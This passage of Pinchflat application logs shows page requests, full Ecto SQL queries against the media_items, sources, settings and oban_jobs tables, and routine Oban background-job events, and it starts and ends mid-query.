'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 13:42:04.955 [info] Sent 200 in 12ms 13:42:15.133 [info] GET /media_profiles 13:42:15.133 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 13:42:15.134 [debug] QUERY OK source="media_profiles" db=0.2ms idle=603.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 13:42:15.134 [debug] QUERY OK source="settings" db=0.1ms idle=603.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:15.134 [debug] QUERY OK source="settings" db=0.1ms idle=603.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:15.135 [debug] QUERY OK source="settings" db=0.1ms idle=604.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:42:15.135 [info] Sent 200 in 2ms 13:42:22.687 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:52.688 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.093 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:05.844 [info] GET /sources/2/media/9394 13:43:05.844 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9394", "source_id" => "2"} Pipelines: [:browser] 13:43:05.845 [debug] QUERY OK source="media_items" db=0.2ms idle=1314.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9394] 13:43:05.846 [debug] QUERY OK source="tasks" db=0.1ms idle=1315.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9394] 13:43:05.846 [debug] QUERY OK source="sources" db=0.2ms idle=1315.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:43:05.846 [debug] QUERY OK source="settings" db=0.1ms idle=996.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:43:05.846 [debug] QUERY OK source="settings" db=0.0ms idle=316.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:43:05.847 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:43:05.847 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:43:05.849 [info] Sent 200 in 4ms 13:43:22.689 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:52.690 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.094 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:22.691 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:45.868 [info] GET /sources/2/media/9847 13:44:45.868 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "9847", "source_id" => "2"} Pipelines: [:browser] 13:44:45.868 [debug] QUERY OK source="media_items" db=0.2ms idle=1337.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [9847] 13:44:45.869 [debug] QUERY OK source="tasks" db=0.1ms idle=1338.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [9847] 13:44:45.869 [debug] QUERY OK source="sources" db=0.3ms idle=899.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:44:45.869 [debug] QUERY OK source="settings" db=0.1ms idle=339.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:44:45.870 [debug] QUERY OK source="settings" db=0.1ms idle=339.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:44:45.870 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:44:45.871 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:44:45.872 [info] Sent 200 in 4ms 13:44:52.692 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.095 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:22.693 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:45.912 [info] GET /sources/3/media/12040 13:45:45.912 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12040", "source_id" => "3"} Pipelines: [:browser] 13:45:45.912 [debug] QUERY OK source="media_items" db=0.2ms idle=1381.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 13:45:45.913 [debug] QUERY OK source="sources" db=0.1ms idle=382.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:45:45.913 [debug] QUERY OK source="tasks" db=0.3ms idle=879.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12040] 13:45:45.914 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=383.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1533, 1536, 1545, 1548, 1558, 1561, 1571, 1574, 1584, 1587, 1597, 1599, 1609, 1612, 1625, 1628, 1642, 1645, 1660, 1663, 1677, 1680, 1695, 1698, 1712, 1715, 1729] 13:45:45.915 [debug] QUERY OK source="settings" db=0.1ms idle=385.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:45:45.916 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:45:45.916 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:45:45.917 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:45:45.920 [info] Sent 200 in 8ms 13:45:52.694 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.096 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:22.695 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:46.280 [info] GET /sources/3/media/10464 13:46:46.280 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "10464", "source_id" => "3"} Pipelines: [:browser] 13:46:46.280 [debug] QUERY OK source="media_items" db=0.2ms idle=1182.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10464] 13:46:46.281 [debug] QUERY OK source="sources" db=0.1ms idle=750.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:46:46.281 [debug] QUERY OK source="tasks" db=0.2ms idle=750.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [10464] 13:46:46.281 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=750.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1355] 13:46:46.282 [debug] QUERY OK source="settings" db=0.1ms idle=182.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:46.282 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:46.282 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:46:46.283 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:46:46.284 [info] Sent 200 in 4ms 13:46:52.696 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.098 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:22.697 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:52.698 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:57.843 [info] GET /sources/2/media/13020 13:47:57.843 [info] GET /sources/2 13:47:57.843 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13020", "source_id" => "2"} Pipelines: [:browser] 13:47:57.843 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 13:47:57.844 [debug] QUERY OK source="media_items" db=0.4ms idle=1312.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 13:47:57.844 [debug] QUERY OK source="sources" db=0.4ms idle=1312.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:47:57.844 [debug] QUERY OK source="tasks" db=0.3ms idle=313.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13020] 13:47:57.844 [debug] QUERY OK source="media_profiles" db=0.6ms idle=654.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:47:57.844 [debug] QUERY OK source="sources" db=0.5ms idle=313.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:47:57.845 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1733] 13:47:57.845 [debug] QUERY OK source="tasks" db=0.7ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 13:47:57.846 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:47:57.846 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:47:57.846 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1737] 13:47:57.846 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:47:57.846 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:47:57.846 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:47:57.847 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:47:57.847 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:47:57.848 [debug] QUERY OK source="sources" db=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:47:57.848 [info] Sent 200 in 5ms 13:47:57.849 [debug] QUERY OK source="media_items" db=0.5ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE 